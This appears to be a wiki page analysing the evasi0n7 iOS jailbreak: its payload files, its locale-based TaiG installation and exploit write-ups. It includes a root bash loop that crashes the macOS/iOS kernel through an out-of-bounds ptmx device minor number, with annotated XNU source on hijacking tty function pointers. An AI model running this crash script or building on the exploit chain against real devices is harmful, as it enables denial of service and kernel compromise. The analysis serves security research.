    drwxr-xr-x  0 planetbeing staff       0 Dec 18 18:34 ./private/&lt;br /&gt;
    drwxr-xr-x  0 planetbeing staff       0 Dec 18 18:57 ./usr/&lt;br /&gt;
    drwxr-xr-x  0 planetbeing staff       0 Dec 19 04:18 ./usr/bin/&lt;br /&gt;
    drwxr-xr-x  0 planetbeing staff       0 Oct 31 23:14 ./usr/libexec/&lt;br /&gt;
    drwxr-xr-x  0 planetbeing staff       0 Dec 18 19:11 ./usr/libexec/cydia/&lt;br /&gt;
    -rwxr-xr-x  0 planetbeing staff    3363 Dec 18 23:59 ./usr/libexec/cydia/firmware.sh&lt;br /&gt;
    -rwxr-xr-x  0 planetbeing staff     228 Dec 17 20:43 ./usr/libexec/cydia/free.sh&lt;br /&gt;
    -rwxr-xr-x  0 planetbeing staff  132848 Dec 18 18:57 ./usr/bin/gssc&lt;br /&gt;
    -rwxr-xr-x  0 planetbeing staff  200352 Dec 19 04:18 ./usr/bin/uicache&lt;br /&gt;
    drwxr-xr-x  0 planetbeing staff       0 Dec 18 18:34 ./private/var/&lt;br /&gt;
    drwxr-xr-x  0 planetbeing staff       0 Dec 18 18:34 ./private/var/lib/&lt;br /&gt;
    drwxr-xr-x  0 planetbeing staff       0 Dec 18 18:34 ./private/var/lib/dpkg/&lt;br /&gt;
    drwxr-xr-x  0 planetbeing staff       0 Dec 22 00:12 ./private/var/lib/dpkg/info/&lt;br /&gt;
    -rw-r--r--  0 planetbeing staff     393 Dec 18 18:40 ./private/var/lib/dpkg/info/com.evad3rs.evasi0n7.list&lt;br /&gt;
    -rwxr-xr-x  0 planetbeing staff     678 Dec 18 18:52 ./private/var/lib/dpkg/info/com.evad3rs.evasi0n7.prerm&lt;br /&gt;
    -rw-r--r--  0 planetbeing staff    5137 Dec 22 00:12 ./private/var/lib/dpkg/info/cydia.list&lt;br /&gt;
    drwxr-xr-x  0 planetbeing staff       0 Dec 21 23:31 ./Applications/Cydia.app/&lt;br /&gt;
    -rwxr-xr-x  0 planetbeing staff     211 Dec 21 22:52 ./Applications/Cydia.app/Cydia&lt;br /&gt;
    -rwsr-sr-x  0 planetbeing staff  131824 Dec 22 00:00 ./Applications/Cydia.app/CydiaWrapper&lt;br /&gt;
    -rwsr-sr-x  0 planetbeing staff  382608 Dec 17 20:50 ./Applications/Cydia.app/MobileCydia&lt;br /&gt;
    -rwxr-xr-x  0 planetbeing staff   66960 Dec 22 00:04 ./Applications/Cydia.app/udidfix.dylib&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* __data3 contains Cydia. &lt;br /&gt;
* __data4 contains Cydia subsystems (/bin, /usr/bin) and their supported libraries (/usr/lib)&amp;lt;br/&amp;gt;&lt;br /&gt;
* __data5 contains a Mach-O universal binary (ARMv7/ARMv7s,ARMv8)  which is installed in the root file system&amp;lt;br/&amp;gt;&lt;br /&gt;
* __data6 contains a dylib (likely game over.dyliib) which exports the same symbols as libmis.dylib (used by amfid for code signature verification), but overrides them to return true&amp;lt;br/&amp;gt;&lt;br /&gt;
* __data7 contains another Mach-O binary (ARMv7/ARMv8), likely evasi0n7, which is installed in the root filesystem during the jailbreak&amp;lt;br/&amp;gt;&lt;br /&gt;
* __data8 contains the plist (property list) file used by evasion to register as a launchDaemon&amp;lt;br/&amp;gt;&lt;br /&gt;
* __data9 contains a dylib which overrides the sandbox dylib (similar to __data6, but to enable evasion to avoid the sandbox)&amp;lt;br/&amp;gt;&lt;br /&gt;
* __data10 contained the TaiG app and subsystems (similar to Cydia) - &amp;lt;b&amp;gt;removed in 1.01 due to negative backlash&amp;lt;/b&amp;gt;&lt;br /&gt;
* __data11 contains a binary plist of strings used by the evasion binary&amp;lt;br/&amp;gt;&lt;br /&gt;
* __data12 contains the Cydia repo list&lt;br /&gt;
&lt;br /&gt;
=== Network Access ===&lt;br /&gt;
&lt;br /&gt;
Noteably, when attempting to run the evasi0n.app without an active or accessible network connection, it will display a prompt that says it requires a network connection to be used. This is very true, as it needs to download the WWDC app as part of the exploit. However the app doesn't exhibit any of the typical commands for network access via Cocoa or CF APIs. Examining the symbol table we do see that there are references to &amp;quot;send&amp;quot;, &amp;quot;recv&amp;quot;, and other C-socket calls, however they appear to be used exclusively for the unix socket to communicate directly with the iOS device. &lt;br /&gt;
&lt;br /&gt;
Examining the list of libraries linked to the binary gives some insight to how it was checking for a network connection.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
    bash $ &amp;lt;b&amp;gt;otool -L ./evasi0n\ 7.app/Contents/MacOS/evasi0n7 &amp;lt;/b&amp;gt;&lt;br /&gt;
    ./evasi0n 7.app/Contents/MacOS/evasi0n7:&lt;br /&gt;
    	/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.5)&lt;br /&gt;
    	/usr/lib/libxml2.2.dylib (compatibility version 10.0.0, current version 10.9.0)&lt;br /&gt;
    	/usr/lib/libssl.0.9.8.dylib (compatibility version 0.9.8, current version 50.0.0)&lt;br /&gt;
    	/usr/lib/libcrypto.0.9.8.dylib (compatibility version 0.9.8, current version 50.0.0)&lt;br /&gt;
    	&amp;lt;b&amp;gt;/usr/lib/libcurl.4.dylib (compatibility version 7.0.0, current version 8.0.0)&amp;lt;/b&amp;gt;&lt;br /&gt;
    	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation (compatibility version 150.0.0, current version 855.11.0)&lt;br /&gt;
    	/usr/lib/libobjc.A.dylib (compatibility version 1.0.0, current version 228.0.0)&lt;br /&gt;
    	/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit (compatibility version 1.0.0, current version 275.0.0)&lt;br /&gt;
    	/System/Library/Frameworks/Cocoa.framework/Versions/A/Cocoa (compatibility version 1.0.0, current version 20.0.0)&lt;br /&gt;
    	/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1197.1.1)&lt;br /&gt;
    	/usr/lib/libstdc++.6.dylib (compatibility version 7.0.0, current version 60.0.0)&lt;br /&gt;
    	/usr/lib/libgcc_s.1.dylib (compatibility version 1.0.0, current version 2577.0.0)&lt;br /&gt;
    	/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit (compatibility version 45.0.0, current version 1265.0.0)&lt;br /&gt;
    	/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation (compatibility version 300.0.0, current version 1056.0.0)&lt;br /&gt;
&amp;lt;/code&amp;gt; &lt;br /&gt;
&lt;br /&gt;
This stands out due to the compatibility version listed being higher than the version OS X 10.6.8, which was oldest version of OS X that evasi0n.app claimed to support. Checking the symbol table again evidence of how &amp;lt;code&amp;gt;libcurl&amp;lt;/code&amp;gt; can be seen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
    bash $ &amp;lt;b&amp;gt;dsymutil -s ./evasi0n\ 7.app/Contents/MacOS/evasi0n7 &amp;lt;/b&amp;gt;&lt;br /&gt;
    ----------------------------------------------------------------------&lt;br /&gt;
    Symbol table for: './evasi0n 7.app/Contents/MacOS/evasi0n7' (i386)&lt;br /&gt;
    ----------------------------------------------------------------------&lt;br /&gt;
    Index    n_strx   n_type             n_sect n_desc n_value&lt;br /&gt;
    ======== -------- ------------------ ------ ------ ----------------&lt;br /&gt;
    ...&lt;br /&gt;
    [   133] 00000938 01 (     UNDF EXT) 00     0500   0000000000000000 '_curl_easy_cleanup'&lt;br /&gt;
    [   134] 0000094b 01 (     UNDF EXT) 00     0500   0000000000000000 '_curl_easy_getinfo'&lt;br /&gt;
    [   135] 0000095e 01 (     UNDF EXT) 00     0500   0000000000000000 '_curl_easy_init'&lt;br /&gt;
    [   136] 0000096e 01 (     UNDF EXT) 00     0500   0000000000000000 '_curl_easy_perform'&lt;br /&gt;
    [   137] 00000981 01 (     UNDF EXT) 00     0500   0000000000000000 '_curl_easy_setopt'&lt;br /&gt;
    [   138] 00000993 01 (     UNDF EXT) 00     0500   0000000000000000 '_curl_easy_strerror'&lt;br /&gt;
    [   139] 000009a7 01 (     UNDF EXT) 00     0500   0000000000000000 '_curl_global_cleanup'&lt;br /&gt;
    [   140] 000009bc 01 (     UNDF EXT) 00     0500   0000000000000000 '_curl_global_init'&lt;br /&gt;
    [   141] 000009ce 01 (     UNDF EXT) 00     0500   0000000000000000 '_curl_slist_append'&lt;br /&gt;
    [   142] 000009e1 01 (     UNDF EXT) 00     0500   0000000000000000 '_curl_slist_free_all'&lt;br /&gt;
    ...&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Digging into the code in the binary, it appears as these commands are used to do a check against the address &amp;lt;code&amp;gt;http://evasi0n.com/ex.plistx&amp;lt;/code&amp;gt;. This appears to be a binary file that dictates the internal operation of the evasi0n7.app. Specifically it is known to be able to enable and disable ability to install the TaiG payloads.&lt;br /&gt;
&lt;br /&gt;
=== Language Checks ===&lt;br /&gt;
&lt;br /&gt;
The major controversy surrounding this release was that the evasi0n7.app would do a check against the locale and language settings of the computer being run on to see if it was set to Chinese. If this check was successful, it would install the TaiG app store by default instead of Cydia, and present Cydia as a secondary option. This was quickly discovered and patched to remove this functionally by both TaiG and [https://twitter.com/Dirk_Gently @Dirk_Gently].&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Version&lt;br /&gt;
! OS&lt;br /&gt;
! Offset&lt;br /&gt;
! Changes&lt;br /&gt;
! Result&lt;br /&gt;
|-&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | 1.0.0 (evad3rs)&lt;br /&gt;
| [[wikipedia:OS X|Mac OS X]]&lt;br /&gt;
| 0xb0947 &lt;br /&gt;
| Modify String &amp;quot;zh&amp;quot; to &amp;quot;xx&amp;quot;&lt;br /&gt;
| rowspan=&amp;quot;3&amp;quot; | Check always fails&lt;br /&gt;
|-&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | 0x2e5f8&lt;br /&gt;
| class=&amp;quot;nobrradiusplz rborderplz&amp;quot; | Replace &amp;quot;E8C30000008A00&amp;quot; with &amp;quot;9090909090B000&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| 1.0.0 (TaiG)&lt;br /&gt;
| class=&amp;quot;nobrradiusplz rborderplz&amp;quot; | Replace &amp;quot;9090909090B001&amp;quot; with &amp;quot;9090909090B000&amp;quot;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Exploit Breakdowns ==&lt;br /&gt;
&lt;br /&gt;
=== [http://pastebin.com/mT2n7uyj Write-up by Braden Thomas] ===&lt;br /&gt;
&lt;br /&gt;
* WWDC.app is downloaded from app store and uploaded over AFC to ~/Media/Downloads&lt;br /&gt;
&lt;br /&gt;
* An IPA containing WWDC.app is uploaded and installed using MobileInstall, but first, the Info.plist in the WWDC app in the IPA is changed so that CFBundleExecutable points to the untouched copy of the app in Downloads&lt;br /&gt;
&lt;br /&gt;
* when MobileInstall installs the app, it signature checks the copy in Downloads, signature check passes and app is installed&lt;br /&gt;
&lt;br /&gt;
* WWDC.app/WWDC is overwritten using AFC with a #! script to point to afcd the command line in #! will expose the entire / over afc port 8888&lt;br /&gt;
&lt;br /&gt;
* a dylib (gameover) is uploaded which uses a CS bypass (vmsize 0) to neuter sandboxing in afcd using LINKEDIT section (afcd starts its sandbox at runtime using sandbox_init*)&lt;br /&gt;
* a LaunchServices bug is used to make that app load that library when it runs the device reboots and the user is instructed to run the app&lt;br /&gt;
&lt;br /&gt;
* when the app runs, afcd runs exposing /, and the sandbox is neutered, allowing access everywhere however, iOS 7 kernel still prevents remapping / as writable so it's still just readonly&lt;br /&gt;
&lt;br /&gt;
* at this point, /var/mobile/Library/Logs/AppleSupport is symlinked to /dev/rdisk0s1 the device is rebooted, and something early in boot (i believe ReportCrash) will chown that path to mobile which chowns rdisk&lt;br /&gt;
&lt;br /&gt;
* they have an HFS library that has an AFC backend, so they're able to virtually mount the entire system partition via AFC by seeking around on the rdisk using AFC commands. so using that, they modify the system partition the changes to the system partition are adding an executable which is signed with a self-signed cert at /evasi0n7 and a launchd plist to run it at boot&lt;br /&gt;
&lt;br /&gt;
* they use the same CS bypass used before to modify libmis.dylib which is loaded by amfid (which checks code signatures) to neuter the amfi checks and alawys return true (i.e. to MISValidateSignature)&lt;br /&gt;
&lt;br /&gt;
* so evasi0n will run fine, and at that point it does the kernel portion&lt;br /&gt;
&lt;br /&gt;
* they also have to do this trick involving another codeless library containing this xpcd_cache blob to bypass a change in iOS 7 (or was it 6) where launchctl will only load plists from signed libraries&lt;br /&gt;
&lt;br /&gt;
See followups at [https://twitter.com/drspringfield @drspringfield].&lt;br /&gt;
&lt;br /&gt;
=== [http://geohot.com/e7writeup.html Write-up by geohot] ===&lt;br /&gt;
&lt;br /&gt;
=== Write-up by p0sixninja ===&lt;br /&gt;
&lt;br /&gt;
	The vulnerability is an out of bounds array in the _state.pis_ioctl_list array by specifying an overly large minor device node number. By placing data in a known location past the array it's possible to hijack the tty structure and special read and write data from ioctl calls, and control function pointers to control execution.&lt;br /&gt;
    &lt;br /&gt;
	The exploit is actually quite simple to trigger. I discovered this with a simple fuzzing script to test out every single device node. Here's a small sample script that should crash the latest maverick update. please run this as root.&lt;br /&gt;
    &lt;br /&gt;
    #!/bin/bash&lt;br /&gt;
    &lt;br /&gt;
    for i in `seq 1 255`; do&lt;br /&gt;
    	echo &amp;quot;Node $i&amp;quot;;&lt;br /&gt;
    	mknod /dev/crash c 16 $i;&lt;br /&gt;
    	echo &amp;quot;Hello World&amp;quot; &amp;gt;/dev/crash;&lt;br /&gt;
    	rm -rf /dev/crash;&lt;br /&gt;
    done;&lt;br /&gt;
&lt;br /&gt;
	The 16 major device node actually is mapped to the ptmx/ptsd pseudo terminal system. It seems that only 16 spaces are allocated for these terminals and if you make a device node with major 16 and minor larger that 16 you start getting out of bounds of the array. The maximum size of device nodes are about 0x600000 giving to the ability to offset your pointer into a crafted structure very large. The only hard part is finding which zones are ahead of your array you can index into. The exploit itself is in the bsd/kernel/tty_ptmx.c file in XNU kernel. The crash happens in…&lt;br /&gt;
    &lt;br /&gt;
    int ptsd_open(dev_t dev, int flag, __unused int devtype, __unused proc_t p);&lt;br /&gt;
&lt;br /&gt;
	The problem is they lack the check to see if the minor number is higher than the number of spots allocated. The problem comes down to this, I'll try to comment code as I go through it...&lt;br /&gt;
&lt;br /&gt;
    FREE_BSDSTATIC int&lt;br /&gt;
    ptsd_open(dev_t dev, int flag, __unused int devtype, __unused proc_t p)&lt;br /&gt;
    {&lt;br /&gt;
    	struct tty *tp;&lt;br /&gt;
    	struct ptmx_ioctl *pti;&lt;br /&gt;
    	int error;&lt;br /&gt;
    &lt;br /&gt;
    	/*&lt;br /&gt;
    	 * The dev_t structure holds the bits extracted and used to offset&lt;br /&gt;
    	 * in an array&lt;br /&gt;
    	 */&lt;br /&gt;
    &lt;br /&gt;
    	// We'll check this function out first, check below&lt;br /&gt;
    	if ((pti = ptmx_get_ioctl(minor(dev), 0)) == NULL) {&lt;br /&gt;
    	        return (ENXIO);&lt;br /&gt;
    	}&lt;br /&gt;
    &lt;br /&gt;
    	// Here's where the crash happens&lt;br /&gt;
    	if (!(pti-&amp;gt;pt_flags &amp;amp; PF_UNLOCKED)) {&lt;br /&gt;
    		return (EAGAIN);&lt;br /&gt;
    	}&lt;br /&gt;
    &lt;br /&gt;
    	// This is the pointer we want to control&lt;br /&gt;
    	tp = pti-&amp;gt;pt_tty;&lt;br /&gt;
    	tty_lock(tp);&lt;br /&gt;
    &lt;br /&gt;
    	if ((tp-&amp;gt;t_state &amp;amp; TS_ISOPEN) == 0) {&lt;br /&gt;
    		termioschars(&amp;amp;tp-&amp;gt;t_termios);	/* Set up default chars */&lt;br /&gt;
    		tp-&amp;gt;t_iflag = TTYDEF_IFLAG;&lt;br /&gt;
    		tp-&amp;gt;t_oflag = TTYDEF_OFLAG;&lt;br /&gt;
    		tp-&amp;gt;t_lflag = TTYDEF_LFLAG;&lt;br /&gt;
    		tp-&amp;gt;t_cflag = TTYDEF_CFLAG;&lt;br /&gt;
    		tp-&amp;gt;t_ispeed = tp-&amp;gt;t_ospeed = TTYDEF_SPEED;&lt;br /&gt;
    		ttsetwater(tp);		/* would be done in xxparam() */&lt;br /&gt;
    	} else if (tp-&amp;gt;t_state&amp;amp;TS_XCLUDE &amp;amp;&amp;amp; suser(kauth_cred_get(), NULL)) {&lt;br /&gt;
    	        error = EBUSY;&lt;br /&gt;
    		goto out;&lt;br /&gt;
    	}&lt;br /&gt;
    	if (tp-&amp;gt;t_oproc)			/* Ctrlr still around. */&lt;br /&gt;
    		(void)(*linesw[tp-&amp;gt;t_line].l_modem)(tp, 1);&lt;br /&gt;
    	while ((tp-&amp;gt;t_state &amp;amp; TS_CARR_ON) == 0) {&lt;br /&gt;
    		if (flag&amp;amp;FNONBLOCK)&lt;br /&gt;
    			break;&lt;br /&gt;
    		error = ttysleep(tp, TSA_CARR_ON(tp), TTIPRI | PCATCH,&lt;br /&gt;
    				 &amp;quot;ptsd_opn&amp;quot;, 0);&lt;br /&gt;
    		if (error)&lt;br /&gt;
    			goto out;&lt;br /&gt;
    	}&lt;br /&gt;
    	error = (*linesw[tp-&amp;gt;t_line].l_open)(dev, tp);&lt;br /&gt;
    	/* Successful open; mark as open by the slave */&lt;br /&gt;
    	pti-&amp;gt;pt_flags |= PF_OPEN_S;&lt;br /&gt;
    	CLR(tp-&amp;gt;t_state, TS_IOCTL_NOT_OK);&lt;br /&gt;
    	if (error == 0)&lt;br /&gt;
    		ptmx_wakeup(tp, FREAD|FWRITE);&lt;br /&gt;
    out:&lt;br /&gt;
    	tty_unlock(tp);&lt;br /&gt;
    	return (error);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /*&lt;br /&gt;
     * Given a minor number, return the corresponding structure for that minor&lt;br /&gt;
     * number.  If there isn't one, and the create flag is specified, we create&lt;br /&gt;
     * one if possible.&lt;br /&gt;
     *&lt;br /&gt;
     * Parameters:	minor			Minor number of ptmx device&lt;br /&gt;
     *		open_flag		PF_OPEN_M	First open of master&lt;br /&gt;
     *					PF_OPEN_S	First open of slave&lt;br /&gt;
     *					0		Just want ioctl struct&lt;br /&gt;
     *&lt;br /&gt;
     * Returns:	NULL			Did not exist/could not create&lt;br /&gt;
     *		!NULL			structure corresponding minor number&lt;br /&gt;
     *&lt;br /&gt;
     * Locks:	tty_lock() on ptmx_ioctl-&amp;gt;pt_tty NOT held on entry or exit.&lt;br /&gt;
     */&lt;br /&gt;
    static struct ptmx_ioctl *&lt;br /&gt;
    ptmx_get_ioctl(int minor, int open_flag)&lt;br /&gt;
    {&lt;br /&gt;
    	struct ptmx_ioctl *new_ptmx_ioctl;&lt;br /&gt;
    &lt;br /&gt;
    	// For normal open() syscalls this flag is never set&lt;br /&gt;
    	if (open_flag &amp;amp; PF_OPEN_M) {&lt;br /&gt;
    &lt;br /&gt;
    		/*&lt;br /&gt;
    		 * If we are about to allocate more memory, but we have&lt;br /&gt;
    		 * already hit the administrative limit, then fail the&lt;br /&gt;
    		 * operation.&lt;br /&gt;
    		 *&lt;br /&gt;
    		 * Note:	Subtract free from total when making this&lt;br /&gt;
    		 *		check to allow unit increments, rather than&lt;br /&gt;
    		 *		snapping to the nearest PTMX_GROW_VECTOR...&lt;br /&gt;
    		 */&lt;br /&gt;
    		if ((_state.pis_total - _state.pis_free) &amp;gt;= ptmx_max) {&lt;br /&gt;
    			return (NULL);&lt;br /&gt;
    		}&lt;br /&gt;
    &lt;br /&gt;
    		MALLOC(new_ptmx_ioctl, struct ptmx_ioctl *, sizeof(struct ptmx_ioctl), M_TTYS, M_WAITOK|M_ZERO);&lt;br /&gt;
    		if (new_ptmx_ioctl == NULL) {&lt;br /&gt;
    			return (NULL);&lt;br /&gt;
    		}&lt;br /&gt;
    &lt;br /&gt;
    		if ((new_ptmx_ioctl-&amp;gt;pt_tty = ttymalloc()) == NULL) {&lt;br /&gt;
    			FREE(new_ptmx_ioctl, M_TTYS);&lt;br /&gt;
    			return (NULL);&lt;br /&gt;
    		}&lt;br /&gt;
    	&lt;br /&gt;
    		/*&lt;br /&gt;
    		 * Hold the DEVFS_LOCK() over this whole operation; devfs&lt;br /&gt;
    		 * itself does this over malloc/free as well, so this should&lt;br /&gt;
    		 * be safe to do.  We hold it longer than we want to, but&lt;br /&gt;
    		 * doing so avoids a reallocation race on the minor number.&lt;br /&gt;
    		 */&lt;br /&gt;
    		DEVFS_LOCK();&lt;br /&gt;
    		/* Need to allocate a larger vector? */&lt;br /&gt;
    		if (_state.pis_free == 0) {&lt;br /&gt;
    			struct ptmx_ioctl **new_pis_ioctl_list;&lt;br /&gt;
    			struct ptmx_ioctl **old_pis_ioctl_list = NULL;&lt;br /&gt;
    &lt;br /&gt;
    			/* Yes. */&lt;br /&gt;
    			MALLOC(new_pis_ioctl_list, struct ptmx_ioctl **, sizeof(struct ptmx_ioctl *) * (_state.pis_total + PTMX_GROW_VECTOR), M_TTYS, M_WAITOK|M_ZERO);&lt;br /&gt;
    			if (new_pis_ioctl_list == NULL) {&lt;br /&gt;
    				ttyfree(new_ptmx_ioctl-&amp;gt;pt_tty);&lt;br /&gt;
    				DEVFS_UNLOCK();&lt;br /&gt;
    				FREE(new_ptmx_ioctl, M_TTYS);&lt;br /&gt;
    				return (NULL);&lt;br /&gt;
    			}&lt;br /&gt;
    &lt;br /&gt;
    			/* If this is not the first time, copy the old over */&lt;br /&gt;
    			bcopy(_state.pis_ioctl_list, new_pis_ioctl_list, sizeof(struct ptmx_ioctl *) * _state.pis_total);&lt;br /&gt;
    			old_pis_ioctl_list = _state.pis_ioctl_list;&lt;br /&gt;
    			_state.pis_ioctl_list = new_pis_ioctl_list;&lt;br /&gt;
    			_state.pis_free += PTMX_GROW_VECTOR;&lt;br /&gt;
    			_state.pis_total += PTMX_GROW_VECTOR;&lt;br /&gt;
    			if (old_pis_ioctl_list)&lt;br /&gt;
    				FREE(old_pis_ioctl_list, M_TTYS);&lt;br /&gt;
    		} &lt;br /&gt;
    		&lt;br /&gt;
    		if (_state.pis_ioctl_list[minor] != NULL) {&lt;br /&gt;
    			ttyfree(new_ptmx_ioctl-&amp;gt;pt_tty);&lt;br /&gt;
    			DEVFS_UNLOCK();&lt;br /&gt;
    			FREE(new_ptmx_ioctl, M_TTYS);&lt;br /&gt;
    &lt;br /&gt;
    			/* Special error value so we know to redrive the open, we've been raced */&lt;br /&gt;
    			return (struct ptmx_ioctl*)-1; &lt;br /&gt;
    &lt;br /&gt;
    		}&lt;br /&gt;
    &lt;br /&gt;
    		/* Vector is large enough; grab a new ptmx_ioctl */&lt;br /&gt;
    &lt;br /&gt;
    		/* Now grab a free slot... */&lt;br /&gt;
    		_state.pis_ioctl_list[minor] = new_ptmx_ioctl;&lt;br /&gt;
    &lt;br /&gt;
    		/* reduce free count */&lt;br /&gt;
    		_state.pis_free--;&lt;br /&gt;
    &lt;br /&gt;
    		_state.pis_ioctl_list[minor]-&amp;gt;pt_flags |= PF_OPEN_M;&lt;br /&gt;
    		DEVFS_UNLOCK();&lt;br /&gt;
    &lt;br /&gt;
    		/* Create the /dev/ttysXXX device {&amp;lt;major&amp;gt;,XXX} */&lt;br /&gt;
    		_state.pis_ioctl_list[minor]-&amp;gt;pt_devhandle = devfs_make_node(&lt;br /&gt;
    				makedev(ptsd_major, minor),&lt;br /&gt;
    				DEVFS_CHAR, UID_ROOT, GID_TTY, 0620,&lt;br /&gt;
    				PTSD_TEMPLATE, minor);&lt;br /&gt;
    		if (_state.pis_ioctl_list[minor]-&amp;gt;pt_devhandle == NULL) {&lt;br /&gt;
    			printf(&amp;quot;devfs_make_node() call failed for ptmx_get_ioctl()!!!!\n&amp;quot;);&lt;br /&gt;
    		}&lt;br /&gt;
    	} else if (open_flag &amp;amp; PF_OPEN_S) {&lt;br /&gt;
    		DEVFS_LOCK();&lt;br /&gt;
    		_state.pis_ioctl_list[minor]-&amp;gt;pt_flags |= PF_OPEN_S;&lt;br /&gt;
    		DEVFS_UNLOCK();&lt;br /&gt;
    	}&lt;br /&gt;
    &lt;br /&gt;
    	// No else statement to catch errors just return the index to the array faithfully. &lt;br /&gt;
    	return (_state.pis_ioctl_list[minor]);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
	First notice the (open_flag &amp;amp; PF_OPEN_M), if this is not true a lot of code will be skipped. on the ptmx devices, this isn't set so all this is complete skipped and we can skip to the end of the the code since there is no all catching else clause to handle most connections. It just automatically returns this array indexed with a user controllable value. Crash but true, let's look more into this structure we can control if we create a large minor number.&lt;br /&gt;
    &lt;br /&gt;
    static struct _ptmx_ioctl_state {&lt;br /&gt;
    	struct ptmx_ioctl	**pis_ioctl_list;	/* pointer vector */&lt;br /&gt;
    	int			pis_total;		/* total slots */&lt;br /&gt;
    	int			pis_free;		/* free slots */&lt;br /&gt;
    } _state;&lt;br /&gt;
&lt;br /&gt;
	This just contains a pointer vector of ptmx_ioctl structures, let's look at the structure which should be contained in the minor number offset.&lt;br /&gt;
    &lt;br /&gt;
    /*&lt;br /&gt;
     * ptmx_ioctl is a pointer to a list of pointers to tty structures which is&lt;br /&gt;
     * grown, as necessary, copied, and replaced, but never shrunk.  The ioctl&lt;br /&gt;
     * structures themselves pointed to from this list come and go as needed.&lt;br /&gt;
     */&lt;br /&gt;
    struct ptmx_ioctl {&lt;br /&gt;
    	struct tty	*pt_tty;	/* pointer to ttymalloc()'ed data */&lt;br /&gt;
    	int		pt_flags;&lt;br /&gt;
    	struct selinfo	pt_selr;&lt;br /&gt;
    	struct selinfo	pt_selw;&lt;br /&gt;
    	u_char		pt_send;&lt;br /&gt;
    	u_char		pt_ucntl;&lt;br /&gt;
    	void		*pt_devhandle;	/* cloned slave device handle */&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
	The first pointer in this structure is a pointer to a tty structure. This structure is easily readable and writable using using user land APIS. It also includes some function pointers in there which can be triggered to gain &lt;br /&gt;
    &lt;br /&gt;
    struct tty {&lt;br /&gt;
    	lck_mtx_t	t_lock;		/* Per tty lock */&lt;br /&gt;
    &lt;br /&gt;
    	struct	clist t_rawq;		/* Device raw input queue. */&lt;br /&gt;
    	long	t_rawcc;		/* Raw input queue statistics. */&lt;br /&gt;
    	struct	clist t_canq;		/* Device canonical queue. */&lt;br /&gt;
    	long	t_cancc;		/* Canonical queue statistics. */&lt;br /&gt;
    	struct	clist t_outq;		/* Device output queue. */&lt;br /&gt;
    	long	t_outcc;		/* Output queue statistics. */&lt;br /&gt;
    	int	t_line;			/* Interface to device drivers. */&lt;br /&gt;
    	dev_t	t_dev;			/* Device. */&lt;br /&gt;
    	int	t_state;		/* Device and driver (TS*) state. */&lt;br /&gt;
    	int	t_flags;		/* Tty flags. */&lt;br /&gt;
    	int     t_timeout;              /* Timeout for ttywait() */&lt;br /&gt;
    	struct	pgrp *t_pgrp;		/* Foreground process group. */&lt;br /&gt;
    	struct	session *t_session;	/* Enclosing session. */&lt;br /&gt;
    	struct	selinfo t_rsel;		/* Tty read/oob select. */&lt;br /&gt;
    	struct	selinfo t_wsel;		/* Tty write select. */&lt;br /&gt;
    	struct	termios t_termios;	/* Termios state. */&lt;br /&gt;
    	struct	winsize t_winsize;	/* Window size. */&lt;br /&gt;
    					/* Start output. */&lt;br /&gt;
    	void	(*t_oproc)(struct tty *);&lt;br /&gt;
    					/* Stop output. */&lt;br /&gt;
    	void	(*t_stop)(struct tty *, int);&lt;br /&gt;
    					/* Set hardware state. */&lt;br /&gt;
    	int	(*t_param)(struct tty *, struct termios *);&lt;br /&gt;
    	void	*t_sc;			/* XXX: net/if_sl.c:sl_softc. */&lt;br /&gt;
    	int	t_column;		/* Tty output column. */&lt;br /&gt;
    	int	t_rocount, t_rocol;	/* Tty. */&lt;br /&gt;
    	int	t_hiwat;		/* High water mark. */&lt;br /&gt;
    	int	t_lowat;		/* Low water mark. */&lt;br /&gt;
    	int	t_gen;			/* Generation number. */&lt;br /&gt;
    	void	*t_iokit;		/* IOKit management */&lt;br /&gt;
    	int	t_refcnt;		/* reference count */&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
	You can imagine all the power you could do if you can control all these structures carefully. That will be the difficulty when trying to exploit. You need to find a kernel zone past this array and allocate your data into it in a way you always know the offset. shouldn't be too hard.&lt;br /&gt;
    &lt;br /&gt;
	Here's what the crash looks like once triggered.&lt;br /&gt;
    &lt;br /&gt;
    bash-3.2# for i in `seq 1 255`;do echo $i; mknod /dev/crash c 16 $i;echo &amp;quot;Hello&amp;quot; &amp;gt;/dev/crash;rm -rf /dev/crash;done&lt;br /&gt;
&lt;br /&gt;
	in gdb remote kernel debugger…&lt;br /&gt;
    &lt;br /&gt;
    gdb$ bt&lt;br /&gt;
    #0  0xffffff8024f35fbc in ptsd_open (dev=0x10000010, flag=0x402, devtype=0x2000, p=0xffffff803655a3f8) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/kern/tty_ptmx.c:571&lt;br /&gt;
    #1  0xffffff8024bdd93f in spec_open (ap=0xffffff8225cb3928) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/miscfs/specfs/spec_vnops.c:325&lt;br /&gt;
    #2  0xffffff8024bc43c9 in VNOP_OPEN (vp=0xffffff803809c110, mode=0x402, ctx=0xffffff8035bcdd08) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/vfs/kpi_vfs.c:3015&lt;br /&gt;
